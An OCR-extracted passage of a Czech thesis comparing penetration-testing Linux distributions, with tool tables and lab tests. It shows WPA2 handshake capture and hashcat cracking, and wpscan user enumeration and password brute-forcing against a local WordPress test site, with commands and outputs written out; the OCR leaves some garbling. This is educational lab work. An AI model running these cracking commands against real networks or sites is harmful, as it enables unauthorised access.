Prizkumny framework pro weby.
Interaktivni analyza sitového provozu.

Automatizacni nastroj pro analyzu a analyzu
zranitelnosti.

Audit unixovych a linuxovych systém{.

Nastroj pro kontrolu souborovych prav.

Wordpress bezpecnostni nastroj.

Analyza aplikaci, které komunikuji pomoci
protokoli HTTP a HTTPS.

Nastroj pro nalezeni bezpecnostni chyby ve
webovych aplikacich.

Kopie webovych stranek na lokalni
prostredi.

Automaticky SQL injection.

GUI editor pro SQLite databaze.

Java GUI metasploit framework.

Sada nastroji pro psani shellcode.

Sken a analyza systému k nalezeni rtiznych
typu zranitelnych mist.

Spustitelné binarni soubory s uZivatelem
pozZadovanym shellcode.

Kolekce vytrvalostnich exfiltracnich skriptt
v powershallu.



Utoky na hesla

Bezdratové
testy

Sniffing a
spooting

Digitalni
forenzni
analyza

Automotive

Reverzni
inZenyrstvi

Nastroje pro
reporting

hashcat

john

ncrack

aircrack-ng

phisher

wifite

macchanger

rasponder

bulk-estractor

galleta

rkhunter

volatility

udsim

caringcaribou

NASM shell

clang

faraday IDE

metagoofil

Nastroj pro obnoveni hesla podporujici
procesory, GPU a dalsi hardwarové
akceleratory.

Rychly cracker, ktery dokaze detekovat typ
Sifrovani.

Crackovaci nastroj pro autentizaci v siti z
nastroje nmap.

802.11 WEP and WPA/WPA2-PSK
crackovaci program.

Python skript pro automatizaci
bezdratového auditu pomoci nastroji
aircrack-ng.

Simulace phishingovych atokt v redlném
svéteé.

Nastroj pro zménu MAC adresy.

LLMNR/NBT-NS/mDNS Poisoner

Nastroj pro extrakci emailovych adres, Cisel
kreditnich karet, adres URL a dalsich typt z
digitalni evidence.

Prizkum cookie soubori prohlizece
Microsoft IE.

Kontroluje mistni systém, aby se pokusil
odhalit znamé rootkity a malware.

Pokrocily pamétovy forenzni framework.

Graficky simulator, ktery dokaze emulovat
rizné moduly ve vozidle a reagovat na
pozadavek UDS

Pratelsky nastroj pro zabezpeceni
automobilu (modularni).

Univerzalni x86 assembler.

Compiler jazyka C
Kolaborativni platorma pro penetracni
testovani.

Nastroj pro extrahovani metadat verejnych
dokumentt (pdf, doc, xIs) patticich cilové
spolecnosti.



BackBox

Tabulka 6 Vybrané nastroje BackBox Linux
Zdroj: OS BackBox Linux

Shromazdéni

informaci

Hodnoceni

zranitelnosti

Analyza
souboru

Utok na hesla

Sniffing a
spooting

Nastroje pro

fazi po

vykoristovani

Reverzni
inZenyrstvi

Socialni
inZenyrstvi

arp-scan

ike-scan
knockspy
nikto

skipfish
ZAP
sqlmap

msfconsole
Ophcrack
crunch
john
Xhydra
Ettercap

ngrep

Wireshark

dnsspoof

cryptcat

proxychains

weevely

binwalk

Ghex
thpot

Nastroj pro ARP sken a otisk.

Nastroj pro objeveni otiski IKE hostiteld.
Nastroj k vy¢tu subdomén v cilové doméné

Skener zabezpeceni webového serveru.

Skener webovych aplikaci.
OWASP nastroj pro utok na proxy.

Nastroj pro automatické SQL injection

Rozhrani k Metasploit frameworku.
Cracker pro Microsoft Windows hesla.
Generator seznamu slov.

Aktivni nastroj pro crack hesla

Rychly nastroj pro crack prihlaseni do sité.

Viceucelovy sitovy sniffer/analyzator/logger.

Vyhledavac a nastroj pro tridéni sitového
provozu.

Analyztor sitového provozu.

Nastroj pro vynuceni odpovédi na libovolné
DNS adresy.

TCP/IP ,,Svycarsky niz" s dvoufazovym
Sifrovanim.

Nastroj pro presmérovani komunikace na
libovolné proxy servery.

Nastroj pro generovani a spravu tézko
detekovatelnych trojskych kont (v PHP).

Nastroj pro analyzu firmware.

Kontrola a tiprava binarnich soubort.

Maly honeypot pro sledovani ato¢nikd.



Zatézové

testovani

Automotive

Forenzni
analyza

Malware
analyza

Mobilni analyza

Analyza

bezdratové sité

SmiSené
nastroje

setoolkit

siege

afl-fuzz

candump

Guymager

foremost

galleta

pyew

volatility
apktool

aircrack-ng

bully

wifite

hping3

Sada nastroji pro socialni inzenyrstvi.

Nastroj pro regresni testovani HTTP.

Fuzzer pro bindrni formaty tizeny
instrumentaci.

Nastroj pro zobrazeni, filtrovani a
protokolovani CAN dat do soubori.

Rychly zobrazovac forenzni analyzy.

Forenzni aplikace pro obnovu dat.

Nastroj forenzni analyzy cookie souborti
aplikace Internet Explorer.

Python nastroj pro analyzu malware.

Pokrocily pamétovy forenzni framework.

Nastroj pro reengeneering Android apk
soubort.

Nastroj pro cracking WEP/WPA.

WPS nastroj vyuzivajici hrubou silu.

Python skript pro automatizaci bezdratového
auditu.

AKktivni nastroj pro rozbiti sité.

BlackArch

Tabulka 7 Vybrané nastroje BlackArch Linux

Zdroj: [40]
Blackarch-

anti-forensic

Blackarch-
backdoor

TrueCript

secure-delete

backdoor-
factory

shellinabox

Open-source projekt pro Sifrovani disku
napric platformou.

Zabezpecené nastroje pro mazani soubort,
diskl, swaptl a paméti.

Oprava win32 /64 binarnich soubori shell
kédem

Implementuje webovy server, ktery mtize
exportovat libovolné nastroje prikazového
radku do webového emulatoru terminalu.



Blackarch-
bluetooth

Blackarch-
crypto

blackarch-
cracker

Blackarch-
database

Blackarch-
defensive

Blackarch-dos

Blackarch-
forensic

blackarch-
exploitation

blackarch-
mobile

Ubertooth

tbear

ciphr

xortool

hashcat

john

crunch

Metacoretex

blindsql

arpon

sniffjoke

42zip

nkiller2

aesfix

nfex

wyd

armitage

metasploit

androidsniffer

2,4 GHz bezdratova vyvojova platforma
vhodna pro Bluetooth experimentovani.

Auditor prostredi prechodného Bluetooth
zahrnuje skener Bluetooth, nastroj Bluetooth
DoS a vyhledavac skrytych zarizeni Bluetooth.

CLI nastroj pro kédovani, dekddovani,
Sifrovani, deSifrovani a hashovani tokd.

Nastroj pro analyzu vicebajtové xorové Sifry.

Multivlaknovy pokrocily nastroj pro obnoveni
hesla.

Crackovaci nastroj pro hesla.

Generator seznamu slov pro vSechny mozné
kombinace dané znakové sady.

JAVA skenovaci nastroj pro databaze.

Sada bash skripti pro skryté SQL injection
utoky.

Nastroj pro zabezpeceni ARP protokolu proti
Man In The Middle atokdam.

Vklada pakety do pirenosového toku, které
jsou schopny vazné narusit pasivni analyzu
jako sniffing a kradeZ informaci na nizké
urovni.

Rekurzivni archivni nastroj pro zazipované
soubory.

Zatézovy TCP nastroj.

Nastroj pro nalezeni AES Sifrovaciho klice v
RAM paméti.

Nastroj pro extrahovani souborti ze sité v
realném case nebo po zachyceni z uloZeného
pcap souboru.

Zisk Kklicovych slov z osobnich soubort.

Graficky nastroj pro spravu kybernetickych
utoki (Metasploit).

Pokrocila open-source platforma pro vyvoj,
testovani a pouZziti exploit kédu.

Perl skript, ktery umozni hledat hesla tietich
stran, vypis hovort, bezdratové komunikace a
dalsich.



blackarch-
proxy

blackarch-
scanner

blackarch-
social

blackarch-
spoof

blackarch-
webapp

blackarch-
wireless

elite-proxy-
finder

binproxy

scanssh

zmap

sees

websploit

arpoison

metoscan

Zaproxy

wpscan

airpwn

mdk3

gerix-wifi-
cracker

Nastroj pro nalezeni a testovanti elitnich
anonymnich proxy.

Proxy pro libovolné TCP pripojeni.
Rychly SSH skener.

Sitovy skener.

Nastroj pro zvySeni ispésnost phishingovych
utokd. zaslanim e-mailt uzivatelim
spolecnosti, jako by pochazeli ze stejné
firemni domény.

Projekt s otevienym zdrojovym kédem pro
socialni inZenyrstvi, skenovani, prochazeni a
analyzu webu, automaticky prizkumnik,
podpora sitovych tutoki.

Nastroj pro aktualizaci UNIX mezipaméti.

Nastroj pro sken HTTP metod podporovanych
webovym serverem.

Integrovany penetracni nastroj pro hledani
zranitelnosti ve webovych aplikacich.

Wordpress skener zranitelnosti.

Nastroj pro generické injectovani paketi v
siti.

WLAN penetrac¢ni nastroj

Grafické uzivatelské rozhrani pro aircrack-ng.

V tabulkach jsou uvedeny priklady nastrojt délené do kategorii.

Kazdy systém ma své specifické déleni kategorii nastroji. Napriklad BlackArch

Linux obsahuje zhruba 50 kategorii, coZ je podstatné vice neZ ostatni operacni

systémy Linux. Z hlediska jednotlivych nastroji se vSak Kali, Parrot Security a

BackBox prilis nelisi. Napr. Wireshark, wpscan, wifite, john, sqlmap a dalsi se

nachazeji ve vSech trech distribucich. Vyjimku opét tvori BlackArch Linux, ktery

obsahuje daleko vice nastroji neZ predeslé distribuce. K naleznuti jsou nastroje,

které jsou svoji funkcnosti stejné jako u ostatnich systémi, maji pouze jiny nazev.



5.7 Systémové pozZadavky

Nasledujici

udaje

jsou

uvadény ve

formé

minimalni

pozadavek na

systém/doporuceny pozadavek vychazejici z dokumentace jednotlivych distribuci.

Tabulka 8 Porovnani systémovych pozadavka

Zdroj: vlastni

Kali Linux Parrot BackBox BlackArch
20194 Security 4.6 ver. 6 Linux 6.1
Architektura | i386,amd64 | i386, amd64 i386, amd64 i386, amd64
RAM 1 GB/2 GB 256 MB/ 512 MB 512 MB/2 GB
512 MB
HDD 10 GB 16 GB 3 GB 1 GB/20 GB
LIVE verze Ano Ano Ano Ano

Linux je nendroCny operacni systém, Ktery je moZné zprovoznit i na méné

vykonnéjsich stanicich.

V oblibé je dnes i virtualizace OS. VSechny distribuce je moZné spustit ve virtualni

pracovni stanici, jsou vSak potieba specidlni nastaveni, aby systém fungoval

spravne.

VSechny distribuce je také mozné spustit v Live verzi. Tuto verzi neni nutné

instalovat na pevny disk, bézi pfimo z CD. Obsahuje zpravidla stejné nastroje a

funkce jako plnohodnotné nainstalovany systém. [32]



6 Metodika zpracovani praktické casti

Sestaveny budou 4 druhy testd pro kaZzdou distribuci, kdy na konci kazdého bude
testu zhodnocena prace s jednotlivou distribuci a budou spolu porovnany.
Kazdy test ma stanoveny svij cil, priibéh a zavér v podobé doporuceni.

Na zavér budou uvedeny 3 doplnujici testy.

Na praktickou cast bude vyuZzita virtualizace v programu Oracle VM VirtualBox

verze 6.0 pro kazdy operacni systém s témito parametry:

e RAM: 2048 MB

e (CPU:2/4

e USB 2.0 (EHCI) radi¢

e NAT sit' / sitovy most (podle typu tutoku)

Testy budou probihat na nasledujicich linuxovych distribucich:

e Kali Linux verze 2020.1
o User: kali, password: kali
e Parrot Security verze 4.8
o User: root, password: toor
e BackBox Linux verze 6
o Obsahuje Live session uzivatele, bez ptihlasovani
e BlackArch Linux 2020.01.01

o User: root, password: blackarch



Test B1

Test B1 se bude zabyvat utokem na WiFi sit za Gcelem zjiSténi zranitelnosti.

K testu je tieba pouzit WiFi adaptér a spravné ho nastavit. V tomto pripadé je to WiFi
adaptér Realtek RTL8812AU 2.4 & 5 Ghz USB Wireless Adapter. Dale je tieba

spravné nastavit sit’ ve VirtualBoxu na NAT Network.

Test B2
Test B2 bude testovat zranitelnost WordPress aplikace.

Vyuzita bude testovaci stranka nasazend na lokalni server.

Test B3
Test B3 se zaméri na mozné priiniky do opera¢niho systému Windows 10.

Test bude vyuzivat virtualni obraz Windows 10 s nasledujicimi parametry:

e RAM: 2048 MB
e CPU:2/4

e Typ sité: sitovy most

Test B4
Test B4 otestuje priniky a zranitelnost operac¢niho systému Ubuntu zaloZeném na
Linuxu.

Test bude proveden na virtualnim obrazu Ubuntu verze 19.10 s parametry:

e RAM: 4096 MB
e CPU:2/4

e Typ sité: sitovy most



7 Prakticka cast

7.1 B1 - Sken zranitelnosti na WiFi routeru

7.1.1 Cil

Domaci routery jiz ve valné vétSiné vyuzivaji Sifrovani hesla WPA2. Proto bude test
zaméren na prolomeni pravé tohoto Sifrovani za pomoci slovniku.

Nejprve je potireba stahnout a nainstalovat potrebné ovladace pro pouZivany WiFi
adaptér. Ovladace jsou vedeny v git repozitarich s podrobnym navodem na instalaci.
Test bude proveden na routeru za pomoci nastroji Wifite a hashcat. Wifite vyuziva
nastroje aircrack-ng a v tomto testu zajisti handshake s routerem a jeho nasledné

uloZeni do souboru. Hashcat provede samotné prolomenti hesla.

7.1.2 Prubéh testu - Kali Linux

Nastroj wifite se spousti pres menu - Wireless Attacs - wifite.
Vylistuje se seznam s napovédou. Prikazem wifite jsou zobrazeny vSechny
bezdratové sité v okoli. Na pozadi tohoto nastroje se pomoci aircrack-ng prepne

rozhrani s WiFi adaptérem do monitorovaciho modu, ktery zajisti sken.

[+] Scanning. Found 7 target(s), 3 client(s). Ctrl+C when ready “C
ENCR POWER WPS? CLIENT

WPA-P 25db no
WPA-P Yes
WPA-P
WPA-P
WPA-P
WPA-F
OpenWrt 11 WPA-P no
select target(s) (1-7) separated by commas, dashes or all:

Obrazek 5 Seznam okolnich siti - Kali Linux

NUM - slouZi k ¢iselnému oznaceni, které se uvadi pro oznacenti cilového routeru
ESSID - nazev sité

CH - kanal sité

ENCR - Sifrovaci

WPS? - podpora metody WPS

CLIENT - pocet pripojenych Kklientt k siti



Po skenu se zvoli ¢iselné oznaceni cilové sité.

(1/1) Starting attacks against
Skipping PMKID attack, missing required tools:
( ) WPA : found ex

Using handshake from

analysis of captured handshake file:
: .cap file contains valid h
: .cap file contains valid h

Running i wordlist
ETA: (current key: )| |

Obrazek 6 Navazani handshake a ulozeni - Kali Linux

v v/

Nastroj se nejdrive zaméri na odchyceni handshake. Funguje na principu
podvrhnuti BSSID jednoho z klientt, které si OS na chvili ptrivlastni. Pivodni
zarizeni je na moment odpojeno od sité. Handshake je uloZen s koncovkou .cap do
slozky hs. Tento soubor se na strance https://hashcat.net/cap2hccapx/ prevede
tak, aby byl citelny pro nastroj hashcat.
Hashcat -m 2500 -a 0 /home/kali/Downloads/handshake.hccapx rockyou.txt
--force
Vysvétleni parametrii:
-m - hashovaci typ - podle napovédy byl vyuzit WPA-EAPOL-PBKDF2 - sitovy
protokol
-a - mod utoku - primy
--force - ignoruje varovani
Handshake.hccapx - prevedeny soubor s handshake

Rockyou.txt - zakladni slovnik s nejc¢astéjSimi hesly, v Kali Linuxu se nachazi v

/usr/share/wordlists

Dictionary cache built:

Filename .. : rockyou.txt/rockyou.txt
* Passwords.: 14344392
* : 139921507
*
*

Keyspace .. : 14344385
Runtime ... : 13 secs

ba3cf272b8ad14b389798c357aaaab91:5078b38b2024 :bBeeb50afa97 : RAALMAKR: 12345678

Obrazek 7 Prolomeni hesla nastrojem hashcat - Kali Linux

Heslo bylo prolomeno, podoba je vZdy za nazvem siteé.

7.1.3 Priibéh testu - Parrot Security

V Parrot Security se pres menu spusti v Applications - Pentesting - Wirelles Testing.



Pres prikaz wifite je nastroj inicializovan a spus$tén. Adaptér se prepné do

monitorovactho mddu a vypiSe sité v okoli.

[+] Scanning. Found 2 targetis), 3 client(s). when ready “C"C
ESSID CH ENCR POWER WPS? CLIENT

[+] select targetis) ( } separated by commas, dashes or

Obrazek 8 Sken siti v Parrot Security

Zadanim Ccisla se zacili na jednu ze siti.

1 (1/1) starting attacks against
] ( ) - 0 1
1 [ ) = 1
Skipping PMKID attack, missing required tools:

' ) : Discovered new client:
: Discovered new client:
: Discovered new client:
: Discovered new client:

|
[
[
[
[ : Discovered new client:

)
)
)
)
)
[ )
saving copy of

]
]
]
]
]
]
]

Obrazek 9 Zachyceni handshake - Parrot Security

Po chvilce se handshake odchytilo a uloZilo do souboru. Tento soubor se na oficidlni
webové strance hashcatu prevede.
Nyni se spusti nastroj hashcat, ve kterém se zadefinuje hash typ, mod utoku
prekonvertovany soubor a slovnik

Hashcat -m 2500 -a 0 /home/user/Downloads/handshake.hccapx rockyou.txt

--force

Dictionary cache built:
* Filename..: rocky
© Passwords.: 143

* Runtime...: 18 secs

1bf9aea3761e253eef243abf7haf1e5a:5078b38b2024: 2034 fbb 77720 : RAALMAKR : 12345678

Obrazek 10 Prolomeni hesla nastrojem hashcat - Parrot Security



7.1.4 Prubéh testu - BackBox Linux

V BackBoxu se nastroj wifite nachazi v zdlozkach Auditing — Wirelless Analysis -
WiFi - Cracking. Pres prikaz wifite je nastroj spustén a WiFi adaptér prepnut do

monitorovaciho modu.

wPA  58db
WPA
WPA
WPA
WPA
WPA
WPA

J T WPA

: TP ( i WPA yes 1
+] select target(s) (1 e ed by commas, dashes or all: ||

LA s L BJ b

=: Discovered new client: 66
Discovered new client:
Discovered new client:
Discovered new client: @ 3:EE:65:0
j shake e: Listening. (clients:4, deauth:11s, timeout:3s)
han Timed out after 560 seconds
Finished attacking 1 target(s), exiting

A

Obrazek 12 Navazovani handshake - BackBox

BackBox se snaZi navazat spojeni, zachytit handshake se mu vSak nedari. I pres
instalaci nékolika ovladacti a upgrade celého systému je na BackBoxu znat, Ze ma

starsi verzi kernelu, ktera si zna¢né neumi poradit s WiFi adaptérem.

7.1.5 Prubéh testu - BlackArch Linux

V BlackArchu je dohledavani v menu neprehledné, i pies kategorizaci nastroji. Pres
ptikaz wifite se spusti sken siti. V tomto ptripadé jich BlackArch nasel méné, nicméné

po nékolika sekundach navic uz by byl sken siti kompletni.

PR

PR
PR

Obrazek 13 Sken siti - BlackArch



e

Po zadani cisla, kterym je sit oznacena, BlackArch pomérné rychle navazuje

handshake.

capture: Discovered new client:
capture: Listening. (clients:6, deauth:1ds, t [+]1 EAALMAKE (67db

1 Handsha ap
[+]1 saving copy K 2B~ 2A-A4-21T21-29-48. cap

Obrazek 14 Navazovani handshake - BlackArch

Wifite se vzdy jesté pokousi pouZit vlastni slovnik k prolomenti hesla. V BlackArchu

se heslo povedlo prolomit bez nutnosti pouzit hashcatu.

ng WPA Handsha
ETR:

Obrazek 15 Prolomeni hesla - BlackArch

7.1.6 Doporuceni

Doporuceno je vybirat silnd hesla s kombinaci pismen, ¢islic a znaki. Dale vypnout

moznost pripojeni se k routeru za pomoci WPS.

7.1.7 Porovnani distribuci

Nasledujici tabulka obsahuje serazeni kritérii (1 - nejlepsi, 4 - nejhorsi).
Tabulka 9 Porovnani distribuci pro test B1

Zdroj: vlastni

Kali Linux Parrot BackBox BlackArch
Security Linux Linux

ln’tultl\./m nalezeni 1 ) 3 4
nastroje v menu
Instalace ovladaci pro
WiFi adaptér 2 3 4 1
Prace s nastrojem 2 3 4 1
Rychlost navazani
handshake 2 3 4 1
Rychlost prolomeni 2 3 4 1
hesla




V tomto testu jednoznacné vede BlackArch. Jeho verze kernelu umoznila fungovani
prvniho nainstalovaného ovladace. Nastroj wifite splnil svoji lohu - sken sité,
navazat handshake a prolomit heslo. Jediné minus je jeho intuitivnost a uZivatelska
privétivost, ktera nedosahuje takové kvality, jak u ostatnich distribuci a bylo potreba
doinstalovat par nutnych balickd.

U Kali Linuxu byla jiz lehce komplikovanéjsi instalace ovladact a wifite nedokazal
diky tomu prolomit heslo. Proto byl pouZit postup s nastrojem hashcat. Srovnatelné
na tom byla distribuce Parrot Security, kterd zaostavala pouze v Kritériu rychlosti
skenu siti, navazani handshake a prolomeni hesla. VSe bylo v§ak v ramci nékolika
sekund.

BackBox vtomto testu naopak propadl. Instalace spravnych ovladact zabrala
nejvice Casu, i pres to se nezadarilo najit ten spravny. Nejvétsi prekazka je jeho starsi
verze kernelu. Proto jediny uspéch byl sken wifi siti, ktery ale trval velice dlouho,

oproti ostatnim distribucim v fadu minut. Handshake se navazat nepodatrilo.

7.2 B2 - Sken zranitelnosti WordPress aplikace

Pro sken zranitelnosti aplikace bude pouZit nastroj WPScan.

WPScan v zasadé dokaZe enumerovat veSkeré uZivatelské ucty vedené v aplikaci.
Nasledné se utoci tzv. hrubou silou na heslo. Za pomoci slovniku, at’ uz stazeného ¢i
vygenerovaného napt. nastrojem crunch, porovnava konkrétni slovo s heslem
uzivatele. Utok neni sloZity na provedeni, je ale ¢asové naro¢ny a za dobu ttoku
mohou nastat vypadky aplikace nebo zmény hesel.

Jako alternativu k lamani hesel webovych aplikaci 1ze pouZit i nastroj Hydra.

7.2.1 Cil testu

Cilem tohoto testu je prolomit heslo do webové aplikace WordPress. Pro utok byla

zvolena testovaci webova aplikace, béZici na hostitelském pocitaci.

7.2.2 Prubéh testu - Kali Linux

Nastroj wpscan se da spustit pres uzivatelské menu - 03 Web Application Analysis

- wpscan. Nebo se jednoduse spusti pres otevieny terminal.



Do terminalu se zada nasledujici prikaz:

wpscan --url http://192.168.0.103/wordpress -e u --ignore-main-redirect
Parametr --url urcuje url adresu skenované webové aplikace, parametr -e u najde
uzivatele, ktefi se mohou do WordPress aplikace prihlasit. Posledni parametr

ignore-main-redirect je pouZit praveé proto, Ze skenujeme localhost.

] http://192.168.08.103/wordpress/
Interesting Entries:
- Server: Apache/2.4.41 (Win64) OpenSSL/1.8.2s PHP/7.1.32

- X-Powered-By: PHP/7.1.32

- X-Redirect-By: WordPress

Found By: Headers (Passive Detection)
Confidence: 100%

Obrazek 16 Vypis po spusténi wpscanu - Kali Linux

Vypis vyhodnotil druh a verzi webového serveru, verzi PHP a verzi OpenSSL.
User(s) Identified:

] hnizdkri

Found By: Wp Json Api (Aggressive Detection)

- http://192.168.0.103/wordpress/uwp-json/wp/v2/users/?per_page=1005page=1
Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

] Hnizdkri
| Found By: Rss Generator (Aggressive Detection)

Obrazek 17 Nalezeni uzivatelé - Kali Linux

Diky uvedenému parametru v prikazu nasel jediného uzivatele — hnizdkr1.
Vykonnost testu je vzdy zohlednéna na konci vypisu

+] Requests Done: 15
+] Cached Requests: 31
+] Data Sent: 3.76 KB
| Data Received: 32.642 KB

[+] Memory used: 96.988 MB
| Elapsed time: 00:00:10

Obrazek 18 Vykonnost wpscanu - Kali Linux

Diky nastroji WPScan je mozné zjistit veSkeré verze pluginii i samotného
WordPressu. Také je mozné zjistit veSkeré jeho uZivatele, v této ukazce konkrétné
hnizdkr1.

Pro prolomeni hesla konkrétniho uzivatele se vyuZziva tzv. wordlist. Pfimo v Kali se
jeden nachazi - /usr/share/wordlist/rockyou.txt.gz. Je potireba ho extrahovat.

Poté provedeme nasledujici prikaz s vyuzitim tohoto wordlistu a specifikaci

uzivatele:



wpscan --url http://192.168.0.103/wordpress --passwords rockyou.txt --
usernames hnizdkr1 --ignore-main-redirect

Prolomenti hesla zabere urcity ¢as podle narocnosti hesla uzivatele.

Trying hnizdkrl / 54321 Time: B@:83:55 < > (525 / 525) 100.00% Time: 00:03:55

Valid Combinations Found:
Username: hnizdkrl, Password: rabbit

Obrazek 19 Prolomeni hesla wpscanem - Kali Linux

V tomto pripadé trvalo 3 minuty 55 sekund

Requests Done: 573
Cached Requests: &
Data Sent: 282.822 KB

|+] Data Received: 398.318 KB
[+] Memory used: 949.922 MB
] Elapsed time: @0:05:13

Obrazek 20 Vykonnost prolomeni hesla wpscanem - Kali Linux

7.2.3 Pribéh testu - Parrot Security

Parrot Security se v mnoha ohledech shoduje s Kali Linuxem, proto postup testu
bude stanoven stejny.
Pies menu se vybere zalozka Applications - Pentesting - Web Application Analysis
- wpscan.
Pres termindl s pomoci nastroje WPScan se spusti nasledujici prikaz:
wpscan --url http://192.168.0.103/wordpress -e u --ignore-main-redirect
Docilime témér totoZzného vystupu
Headers _
Interesting Entries:

- Server: Apachef2.4.41 (Win64) OpenSSL/1.0.2s PHP/7.1.32
- X-Powered-By: PHP/7.1.32

- X-Redirect-By: WordPress
Found By: Headers {Passive Detection)
Confidence: 100%

Obrazek 21 Vypis po spusténi wpscanu - Parrot Security



User(s) Identified:

hnizdkri

Found By: Wp Json Api (Aggressive Detection)

- http://192.168.0.101/wordpress /wp-json/wp/v2/users/?per_page=100&page=1
Confirmed By:

Yoast Seo Author Sitemap (Aggressive Detection)
- http://192.168.0.101 /wordpress/author-sitemap.xml
Author Id Brute Forcing - Author Pattern (Aggressive Detection)

Hnizdkri
Found By: Rss Generator (Aggressive Detection)

Obrazek 22 Nalezeni uzivatelé - Parrot Security

Byly vypsany vlastnosti testovaci aplikace a identifikovan 1 uzivatel.

Requests Done: 42

Cached Requests: 4

Data Sent: 9.526 KB

Data Received: 110.474 KB
Memory used: 101.156 MB
Elapsed time: 00:00:37

Obrazek 23 Vykonnost wpscanu - Parrot Security

Dale bude probihat utok s pomoci wordlistu, ktery se v Parrot Security také nachazi
v /usr/share/wordlists/rockyou.txt.gz a je nutné ho extrahovat.

wpscan --url http://192.168.0.103/wordpress --passwords rockyou.txt --

usernames hnizdkr1 --ignore-main-redirect

Performing password attack on Xmlrpc against 1 user/s

Error: No response from remote server. WAF/IPS? (Failure when receiving data from the peer)
[SUCCESS] - hnizdkrl / rabbit
Trying hnizdkrl / frankie Time: 008:04:18 < > (525 / 525) 180.00% Time: 00:04:18

Valid Combinations Found:
| Username: hnizdkrl, Password: rabbit

Obrazek 24 Prolomeni hesla wpscanem - Parrot Security

Prolomeni hesla trvalo 4 minuty 10 sekund.

Reguests Done: 571
Cached Reguests: 6
Data Sent: 281.661 KB

Data Received: 398.395 KB
Memory used: 983.422 MB
Elapsed time: @8:85:38

Obrazek 25 Vykonnost prolomeni hesla wpscanem - Parrot Security



7.2.4 Prubéh testu - BackBox Linux

BackBox bohuZel nastroj wpscan postrada. Po instalaci potiebnych balickd ruby,
ruby-dev, zlib1g-dev, curl je moZné nastroj stdhnout pres prikaz gem install wpscan.
Spusténi testu opét probéhne pies prikaz

wpscan --url http://192.168.0.103/wordpress -e u --ignore-main-redirect

Nasledujici vystup opét potvrdi pouZivané technologie aplikace.

= |

vt

Obrazek 26 Spusténi wpscanu - Backbox

Byl odhalen jeden uZivatel.

+] hnizdkrl
| Found By: Wp Json Ap gg

| )://10.0.0.94, ) )-15 ers/iper page=180&page=1
I E

| Yoas 0 Author Sitemap (Ag ive Detection)

| p://16.08.0.94/wordpre ithor-sitemap.xml

| Author Id Brute Forcing - Author Pattern (Aggressive Detection)

] Hnizdkrl
Found By: Rss Generator (Aggressive Detection)

Obrazek 27 Nalezeni uzivatelé - BackBox

| Requests Done:
| Cached Reques
] Data Sent: 11

1 Data

Obrazek 28 Vykonnost testu wpscan - BackBox

BackBox neobsahuje Zadné vestavéné slovniky, proto bude z githubu
(https://github.com/brannondorsey/naive-
hashcat/releases/download/data/rockyou.txt) staZen rockyou.txt slovnik,
pouzivany i u piredeslych distribuci.
Nasledné bude vyvolan dtok na prolomeni hesla

wpscan --url http://192.168.0.103/wordpress --passwords rockyou.txt --

usernames hnizdkr1 --ignore-main-redirect



rying hnizdkrl / pimpin Time: 00:04:08 c<————————-—-=—=—=- > (525 / 525) 100.00% Time: 00:04:08

[1] Vvalid Combinations Found:
| Username: hnizdkrl, Password: rabbit

Obrazek 29 Prolomeni hesla wpscanem - BackBox

Prolomenti hesla trvalo 4 minuty 8 sekund.

] Requests Done: 589

1 Cached Requests:

] Data Sent: 28

] Data Received: 14.813 MB
] Memory used: 968.984 MB
] Elapsed time: ©8:085:19

Obrazek 30 Vykonnost prolomeni hesla wpscanem - BackBox
7.2.5 Priibéh testu - BlackArch Linux

BlackArch obsahuje kategorizované menu, ale hledani nastroji je neptrehledné.
Nasledujicim ptikazem spustime test pro nasi lokalni webovou aplikaci:

wpscan --url http://192.168.0.103/wordpress -e u --ignore-main-redirect

ting Entri
er: Hpach 4.41 tkling4) Open35LS1.8.2s PHR/Y. 1,32
Powered-By: PHP/7.1
edirect-By: MWordPr
Found By: Hea [Pa
Confidence: 18

Obrazek 31 Spusténi wpscanu - BlackArch

User(s) Identified:

hni zdlkri
Found By: Wp Json Api (Aggressive Detection)

g Detection)

Author Id Brute Forcing - Author Pattern (Aggressive Detection)

Hnizdlkrl
Found By: Rss Generator (Hggressiv Lection)

Obrazek 32 Nalezeni uzivatelé - BlackArch



Hemurg used:
Elapsed time:

Obrazek 33 Vykonnost wpscanu - BlackArch

Pro nasledujici utok na uzivatele je za potrebi slovnik. BlackArch ma v zakladu dva
slovniky obsahujici hesla technického charakteru, pouzivany rockyou slovnik
nema. Pro tento test bude proto staZen z githubu
(https://github.com/brannondorsey/naive-
hashcat/releases/download/data/rockyou.txt).
Nasledné je zahajen utok pomoci piikazu

wpscan --url http://192.168.0.103/wordpress --passwords rockyou.txt --

usernames hnizdkr1 --ignore-main-redirect

rying hnizdkrl / frankie Time:

Yalid Combinations Found:
| Userpame: hnizdkrl, Password: rabbit

Obrazek 34 Prolomeni hesla wpscanem - BlackArch

Samotné prolomeni hesla trvalo 3 minuty 34 sekund.

Cached Eequ
Data 35

Data

Memory used: 98
Elapsed time:

Obrazek 35 Vykonnost wpscanu - BlackArch

7.2.6 Doporuceni

e Vyuzivat silna hesla (vice jak 10 znakt, kombinace s ¢isly, malymi a velkymi
pismeny)

e Hesla ¢asto ménit

e Pravidelné aktualizovat pluginy na nejnovéjsi verzi

e Moznost pridat do zdrojového kédu PHP funkce, které brani enumeraci

plugini a uzivateld



7.2.7 Porovnani distribuci

Tabulka 10 Porovnani distribuci pro test B2

Zdroj: vlastni

hesla)

Kali Linux Parrot BackBox | BlackArch
Security Linux Linux
Intuitivni nalezeni e . Nastroj Neintuitivni
, . Intuitivni, ,
nastroje v menu e ] nenf menu,
Intuitivni vice . v ,
likan{ v zakladu Spatné
distribuce | zobrazeni
Prlvt omnost, . . Ano Ano Ne Ano
poZadovaného nastroje
Prace s nastrojem V ramci V ramci V ramci V ramci
piikazové | prikazové | prikazové | prikazové
radky radky radky radky
Ez;h;o“ proloment 3:55 4:10 4:08 3:34
Rychlost provedenych
prikazu .| 0:10/5:13 | 0:37/5:38 |  0:26 0:13/4:34
(enumerace/prolomeni
hesla)
Pamét'ova narocnost 97 MB/950 101 97 102 MB/985
(enumerace/prolomeni MB/983 | MB/969
MB MB MB MB

Sken Wordpress aplikace pomoci nastroje WPScan se nejlépe provadél na distribuci

Kali Linux. Kali Linux ma velice intuitivni ovladani a rychlost testli byla optimalni.

Jako nejrychlejsi se vSak da povazovat BlackArch, ktery sviij vykon nezatézuje

zbytecnou grafikou. Parrot Security se pfi testu jevil jako odnoZ Kali Linuxu,

obsahuje stejny slovnik a v rychlosti testl priliS nezaostava. Menu ma prehledné,

avsak je tireba vice klikat. BackBox jako odnoZ Ubuntu v zdkladu nastroj WPScan

